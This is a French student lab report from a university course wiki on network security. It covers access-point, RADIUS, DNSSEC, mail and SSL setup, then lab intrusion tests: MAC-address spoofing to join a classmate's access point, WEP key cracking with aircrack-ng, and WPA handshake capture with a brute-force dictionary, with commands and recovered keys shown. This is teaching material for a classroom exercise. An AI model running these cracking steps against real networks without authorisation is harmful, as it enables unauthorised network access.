TP sysres IMA2a5 2015/2016 G3

De Wiki de Projets IMA


Ce mini projet a pour but de nous donner des notion en sécurité informatique.


Configuration du point d’accès

Restriction par adresse MAC

Ci-dessous, le tableau regroupant Les adresses et Vlan associés aux élèves :

Nomadresse MAC
Nounours00:15:af:e7::19:f3
Jeuno00:15:af:e6:ed:b1
John00:22:43:43:e7:7d
Loki00:15:af:e7:64:03

On récupère les adresses mac comme ci dessous.

pifou@heron:~$ su
Mot de passe : 
root@heron:/home/pifou# ifconfig 
lo        Link encap:Boucle locale  
          inet adr:127.0.0.1  Masque:255.0.0.0
          adr inet6: ::1/128 Scope:Hôte
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:2348 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2348 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 lg file transmission:0 
          RX bytes:244556 (238.8 KiB)  TX bytes:244556 (238.8 KiB)

wlan0     Link encap:Ethernet  HWaddr 00:22:43:43:e7:7d  
          inet adr:172.26.79.61  Bcast:172.26.79.255  Masque:255.255.240.0
          adr inet6: fe80::222:43ff:fe43:e77d/64 Scope:Lien
          adr inet6: 2001:660:4401:6006:222:43ff:fe43:e77d/64 Scope:Global
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:12046 errors:0 dropped:1471 overruns:0 frame:0
          TX packets:9787 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 lg file transmission:1000 
          RX bytes:7742849 (7.3 MiB)  TX bytes:1442360 (1.3 MiB)


Configuration du point d’accès Cisco

Conexion a la borne Cisco : -Branchement en comunication serie sur le port RJ45 (Console de la Cisco).

pifou@zabeth04:~$ su
pifou@zabeth04:~$ minicom

// conexion au point Cisco 
ap#enable
ap#Config t 

Il faut autoriser les adresses mac désignés à ce connecter aux point d’accès et refuser l’accès des autres

ap(config)#no access-list 701 deny  0000.0000.0000 ffff.ffff.ffff               
ap(config)#access-list 701 permit  0015.afe7.6403  0000.0000.0000               
ap(config)#access-list 701 permit  0015.afe6.edb1  0000.0000.0000 
ap(config)#access-list 701 permit  0015.afe7.19f3  0000.0000.0000
ap(config)#access-list 701 permit  0015.afe6.edb1  0000.0000.0000 
ap(config)#access-list 701 deny    0000.0000.0000  ffff.ffff.ffff 


Configuration du SSID

ap(config)#dot11 ssid T2
ap(config-ssid)#dot11 ssid T2 
ap(config-ssid)#authentication open
ap(config-ssid)#guest-mode 
ap(config)#interface dot11Radio0 

ap(config-if)#ssid T2
ap(config-if)#encryption key 1
ap(config-if)#encryption key 1 size 40bit 0 01abcd1532 transmit-key
ap(config-if)#encryption mode Wep mandatory 
end

ap(config)#interface Dot11Radio0
ap(config-if)#no shutdown

Pour voir si des machines sont connecté sur le point d’accès </pre> sh do11 associations </pre>

Configuration du Wifi sur l'eeePC

Cette partie me sert a valider le bon fonctionnement de mon point d’accès. Je l'a réutiliserais dans la partie d'intrusion par adresse MAC.

Configuration:

root@heron:/home/pifou# cat /etc/network/interfaces
source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

# Ethernet interface
#auto eth0
#iface eth0 inet static
#  address 172.26.79.241
#  netmask 255.255.240.0
#  gateway 172.26.79.254

auto wlan0
iface wlan0 inet static
	wireless-mode managed
	wireless-essid T2
	wireless-key 1111111111
	address 172.26.79.61
	netmask 255.255.240.0
	gateway 172.26.79.254

conexion au PA

ifup wlan0
iwconfig wlan0 essid T2

on est bien connecté :

wlan0     IEEE 802.11bgn  ESSID:"T2"  
          Mode:Managed  Frequency:2.447 GHz  Access Point: C4:14:3C:12:EA:00   
          Bit Rate=54 Mb/s   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:1111-1111-11
          Power Management:off
          Link Quality=70/70  Signal level=-38 dBm  
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:4104   Missed beacon:0

lo        no wireless extensions.

eth0      no wireless extensions.

Sécurisation Wifi par WPA2-EAP

Configuration du point d’accès

On commence par remettre le point d’accès en configuration d'usine

ap#erase startup-config
ap#reload

Configuration:

ap(config)#line vty 0 15 
ap(config-line)#password ****

ap(config)#ip default-gateway 172.20.99.254

ap(config)#interface bvi 1 
ap(config-if)#ip ad 172.20.99.6 255.255.255.0 

Configuration de la machine virtuel

On installe freeradius:

# apt-get install FreeRadius

On configure la conexion:

# nano eap.conf
// on remplace 
default_eap_type = md5
// par
default_eap_type = peap

# nano clients.conf 
client 172.20.99.0/24 {
        secret          = topsecret
        shortname       = wifi

# nano users 
john    Cleartext-Password := "****"

# service freeradius restart

telnet 172.20.99.5

aaa authentication login eap_chien group radius_chien
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key secret_chien
aaa group server radius radius_chien
server 193.48.57.181 auth-port 1812 acct-port 1813

dot11 ssid SSID_Chien
  vlan 6
  authentication open eap eap_chien
  authentication network-eap eap_chien
  authentication key-management wpa
  mbssid guest-mode

ssid SSID_Chien
int dot11Radio 0.6
  encryption vlan 6 mode ciphers aes-ccm tkip
  encapsulation dot1Q 6
  bridge-group 6

exit       
int gig0.6


Configuration du eeePc



Installation des systèmes d'exploitation

Dans ce chapitre je vais installer deux système d'exploitation , Il s'agit de Debian 8. Dans un premier temps j’installerais une machine virtuel Xen sur la cordouan, le but étant par la suite de réaliser un serveur web sécurisé. Dans une seconde partie j’installerais Debian 8 sur un des nouveau pc HP que nous avons reçut, nous nous en serviront pour la partie des tests d'intrusions.

Installation de la machine virtuel

Cette partie concerne l’installation du machine virtuel Xen. Nous installons Xen car celui-ci permet de faire de la paravirtualisation. Nous en avons besoins pour que chacun puisse installer son propre système d'exploitation et qu'ils soit utilisable en même temps

Les étapes a suivre pour l’installation de Xen sur cordouan:

// Conexion au serveur 
ssh root@cordouan.insecserv.deule.net

// Création de la Machine virtuel ( nom : chien)
xen-create-image --hostname chien --ip 193.48.57.181 --dir /usr/local/xen

// On observe la virtualisation
tail -f /var/log/xen-tools/chien.log

root@cordouan:~# cd /etc/xen/
root@cordouan:/etc/xen# vim chien.cfg 
// on met plus de memoire  => 1024
// conexion en mode bridge=IMA2a

root@cordouan:/etc/xen# xl list
root@cordouan:/etc/xen# xl create chien.cfg

connexion à notre MV:

ssh root@cordouan.insecserv.deule.net
root@cordouan:/etc/xen# xl console chien

Configuration de Xen: - On autorise les connexion ssh en root - On retire Network Manger pour configurer la connexion au réseau manuellement

# /etc/ssh/sshd_config
# PermitRootLogin yes

# if down eth0 
# ifup etho
# apt-get purge network-manage systemd 
# inittable
// fin ligne tty0 ==> hvc0
// Configuration de eth0
# The primary network interface
auto eth0
iface eth0 inet static
 address 193.48.57.181
 netmask 255.255.255.240
 gatway 193.48.57.190

root@chien:~# ifdown eth0 
root@chien:~# ifup eth0


root@chien:~# apt-get install vim strace tcpdump 
root@chien:~# apt-get install host


Services Internet

Serveur DNS

modification du fichier /var/cache/bind option

cat /etc/bind/named.conf.options 
**** afficher le fichier ****

host -t ni love-in-the-world.space
host -t any love-in-the-world.space

cat db.love-in-the-world 
**** afficher le fichier ****

cat /var/log/daemon.log
**** afficher le fichier ****

# service bind9 stop
# service bind9 start


Géneration d'une clés assymetrique:

# dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE love-in-the-world.space
Generating key pair...........+++ ....................+++ 
Klove-in-the-world.space.+005+14281
# mv Klove-in-the-world.space.+005+14281.key  love-in-the-world-ksk.key
# mv Klove-in-the-world.space.+005+14281.private  love-in-the-world-ksk.private

# dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE love-in-the-world.space
Generating key pair........++++++ .....................++++++ 
Klove-in-the-world.space.+005+37866
# mv Klove-in-the-world.space.+005+37866.key  love-in-the-world-zsk.key
# mv Klove-in-the-world.space.+005+37866.private  love-in-the-world-zsk.private

# dnssec-signzone -o love-in-the-world.space -k love-in-the-world-ksk ../db.love-in-the-world love-in-the-world-zsk
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked
../db.love-in-the-world.signed
root@chien:/etc/bind/love-in-the-world# 

:/etc/bind# nano named.conf.local 
zone "love-in-the-world.space"{

        type master;
        file "/etc/bind/db.love-in-the-world.signed";
};


ensuite on copie le contenu du fichier: dans gandi.net


on peut verifier que notre dns est secure a l'adresse suivante: http://dnsviz.net/d/love-in-the-world.space/dnssec/


Recuperation du certificat SSL

Cette étape consiste a récupérer le certificat SSL en vu authentifier et de sécuriser la connexion a notre serveur

Instalation et Configuration de la boite Mail

# apt-get install postfix bsd-mailx

configuration de la boite mail

 # nano /etc/aliases
   postmaster:    root
   admin: root
 
 # newaliases
 # mailx

Je m'envoi un mail pour verifier le bon fonctionement de la boite mail E-mail: admin@love-in-the-world.space

Verfification:

# mailx
From Maxime.Strunc@polytech-lille.net  Fri Nov 20 13:22:24 2015
Return-Path: <Maxime.Strunc@polytech-lille.net>
X-Original-To: admin@love-in-the-world.space
Delivered-To: admin@love-in-the-world.space
Received: from peronne.escaut.net (peronne.escaut.net [193.48.57.26])
	by chien (Postfix) with ESMTP id E7DA93421F
	for <admin@love-in-the-world.space>; Fri, 20 Nov 2015 13:22:24 +0100 (CET)
X-Virus-Scanned: Debian amavisd-new at polytech-lille.fr
X-Virus-Scanned: Debian amavisd-new at polytech-lille.fr
Received: from webmailportal.polytech-lille.fr (hirson.escaut.net [193.48.57.37])
	(Authenticated sender: mstrunc)
	by peronne.escaut.net (Postfix) with ESMTPA id 305081C38
	for <admin@love-in-the-world.space>; Fri, 20 Nov 2015 11:33:52 +0100 (CET)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
Date: Fri, 20 Nov 2015 11:33:52 +0100
From: Maxime Strunc <Maxime.Strunc@polytech-lille.net>
To: <admin@love-in-the-world.space>
Subject: Hello
Message-ID: <478f6b7d2da9875c32551984f2b92f9f@polytech-lille.net>
X-Sender: Maxime.Strunc@polytech-lille.net
User-Agent: Roundcube Webmail/0.7.2
Status: RO

Hey it's working

- Recupération du Certificat: Je vais sur Gandi.net

génération de la CSR

#   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chien.key -out chien.csr
// Il ya plusieurs informations à rentrer, il y en a une très important : c'et le mail : 
admin@love-in-the-world.space

apres avoir renseigner tout les champs, j'obtient la CSR:

 -----BEGIN CERTIFICATE REQUEST-----
       ... texte crypter...
-----END CERTIFICATE REQUEST-----

Je la copie dans l'emplacement voulue sur gandi.net

Gandi m'envoi un mail a l'adresse informée "admin@love-in-the-world.space" Il faut donc clique sur un lien de confimation et entrer la cles fournit dans le mail. Une fois le certificat reçut, Je le copie et le colle dans le chien.crt et gandi.crt

#nano 000-domain.tld-ssl.conf
    <VirtualHost 193.48.57.181:443>

        ServerName www.love-in-the-world.space
        ServerAlias love-in-the-world.space
        DocumentRoot /var/www/html/
        CustomLog /var/log/apache2/secure_access.log combined

        SSLEngine on
        SSLCertificateFile /root/chien.crt
        SSLCertificateKeyFile /root/chien.key
        SSLCertificateChainFile /root/gandi.crt
        SSLVerifyClient None

  </VirtualHost>

#a2enmod ssl
#service apache2 reload

Test d'intrusion

Intrusion par changement d'adresse MAC

En remplacant l'adresse mac de mon eeepc par une adresses MAC que le point d’accès T1 autorise je pourrais me connecter sur celui-ci.

Changement d'adresse MAC:

- ifconfig wlan0 down
- ifconfig wlan0 hw ether 00:15:AF:E6:ED:B1  //adresse mac de Gauthier
- ifconfig wlan0 up

On change la cles par: 0000000000 et le SSID : T1

# cat /etc/network/interfaces
# source /etc/network/interfaces.d/*

# The loopback network interface
# auto lo
# iface lo inet loopback

Ethernet interface
auto eth0
iface eth0 inet static
  address 172.26.79.241
  netmask 255.255.240.0
  gateway 172.26.79.254

auto wlan0
iface wlan0 inet static
	wireless-mode managed
	wireless-essid T1
	wireless-key 0000000000
	address 172.26.79.61
	netmask 255.255.240.0
	gateway 172.26.79.254

Apres cette modification J'arrive a me connecter sur le point d’accès de Marouane(T1).

Préparation aux cassage de clés

- Instalation aircrack-ng

# apt-get install aircrack-ng firmware ralink

- Instalation du port usb-Wifi

apt-get install firmware ralink
airmon-ng start wlan1

Cassage d'une cles WEP

Je scan le reseaux Wifi:

airodump-ng mon0 --channel 5

J’identifie le ssid de cracotte06 et je met les donnée dans un fichier nommé fcracotte06



root@Discus:/home/pifou# airodump-ng mon0 --channel 5 --bssid 04:DA:D2:9C:50:55 -w
fcracotte06

CH 5 ][ Elapsed: 0 s ][ 2015-11-20 09:05 

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:55 -55 28 29 420 116 5 54e. WEP WEP cracotte06 

BSSID STATION PWR Rate Lost Frames Probe 

04:DA:D2:9C:50:55 00:0F:B5:92:23:74 -48 36e-54e 80 456 

La capture a donc commencé

Dans un autre terminal: Je vais analyser mon fichier de capture pour casser la cles.

# ls
# aircrack-ng fcracotte06-01.cap

apres quelque minutes on obtient la cles

                 [00:06:58] Tested 965565 keys (got 60459 IVs)

   KB    depth   byte(vote)
    0    0/  1   AA(85504) EA(73728) 60(70144) 0C(69120) 33(68608) 
    1    0/  1   AA(77824) 25(74496) BC(70400) 6C(70144) 3B(69632) 
    2    0/  1   AA(79872) 3E(70912) 76(70400) 5C(70144) 01(68864) 
    3    4/  5   AA(71680) FA(68608) 41(68352) 38(68096) 49(68096) 
    4    0/  1   AA(86016) A1(70912) 80(69632) 2A(68352) 65(68352) 
    5    0/  1   AA(85760) AF(73216) C6(71424) 5A(71168) 25(70400) 
    6    0/  1   AA(75520) 26(70400) CB(70400) 46(69888) 1C(69632) 
    7    0/  1   AA(83968) 18(71680) 4C(71424) 74(70144) 1E(69632) 
    8    0/  1   AA(82176) 6F(70912) F7(70144) FB(69632) 17(68864) 
    9    0/  3   D7(73216) 97(71168) A4(70400) BA(70144) FE(69632) 
   10    0/  1   5F(78336) D6(72960) 46(71424) CB(68608) 8D(68352) 
   11   13/  1   48(67072) 60(67072) F6(66816) AC(66560) 2B(66048) 
   12    0/  1   BB(79580) A7(71096) 8B(69960) 13(69196) 68(68424) 

             KEY FOUND! [ AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:BB:BB:BB ] 
	Decrypted correctly: 100%

Cassage d'une cles WPA

Cette partie consiste a casser une clés WPA par force brute. Je m'interesse plus particulierement a caracotte06 comme précédament.

Je vais dans une premier temps ecouter ce qui a sur ce réseau on suppose que quelle qu'un se connecte dessus régulièrement, le but étant de récupérer le handshake.

Recuperation du Handshake:

airodump-ng --encrypt wpa mon0

# airodump-ng --encrypt wpa mon0 -c 7 --bssid 04:DA:D2:9C:50:55 -w wpacracotte06

CH 7 ][ Elapsed: 26 mins ][ 2015-11-20 10:40 ][ WPA handshake: 04:DA:D2:9C:50:55 

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:55 -70 22 9735 1905 18 7 54e. WPA2 CCMP PSK cracotte06 

BSSID STATION PWR Rate Lost Frames Probe 

04:DA:D2:9C:50:55 00:0F:B5:92:23:74 -70 54e- 1e 904 1249



creation d'un dictionaire : Je Créer un dictionaire pour comparer le handshake que j'ai recuperer avec des cles possible. la cles etant comprise entre 00000000 et 99999999 je réalise un petit programme qui affiche toutes ces valeurs:

#include <stdio.h>
int main ()
{
int val=0;
for(val=0;val<99999999 ;val++)
{printf("%08d\n",val); }
return 0;
}

Compilation : </pre>

  1. gcc -Wall Dictionnaire.c -o Dictionnaire

</pre>

Création : On exécute le programme Dictionnaire et on renvoi les résultats dans le fichier Dico

# ./Dictionnaire > Dico


Cassage de la cles: après avoir récuperer le Handshake du Wifi carotte06 Je vais casser la clés en utilisant mon dictionnaire "Dico" le fichier "wpacracotte06-02.cap"

aircrack-ng -w Dico wpacracotte06-02.cap

après quelle que heures j'obtiens la clès:

                                 Aircrack-ng 1.2 beta3


                   [02:00:57] 12399908 keys tested (1782.72 k/s)


                           KEY FOUND! [ 12399906 ]


      Master Key     : 4B 0E E0 87 93 06 14 C0 E2 64 55 76 95 9A 30 6B 
                       75 7C 8F CC B4 F8 2B 0D 78 3A 57 04 79 C2 F9 72 

      Transient Key  : 63 0F 9B D4 8B 09 C9 2C D5 E2 56 3D C7 21 AC 9E 
                       94 5C E6 F7 19 FB EA 52 3F 02 C4 10 72 4F B8 7E 
                       F1 92 CC 2C 02 E1 F7 47 C1 1D F2 FD CE EF F5 5E 
                       22 24 87 42 46 4F D6 38 DF D4 CC 6D 61 4E 1D 7E 

      EAPOL HMAC     : A3 D3 FD F5 09 AC B9 96 F5 0E 93 0A 3C 63 36 CD 



mettre serveur messagerie demander certificat

securisation wifi WPA-EAP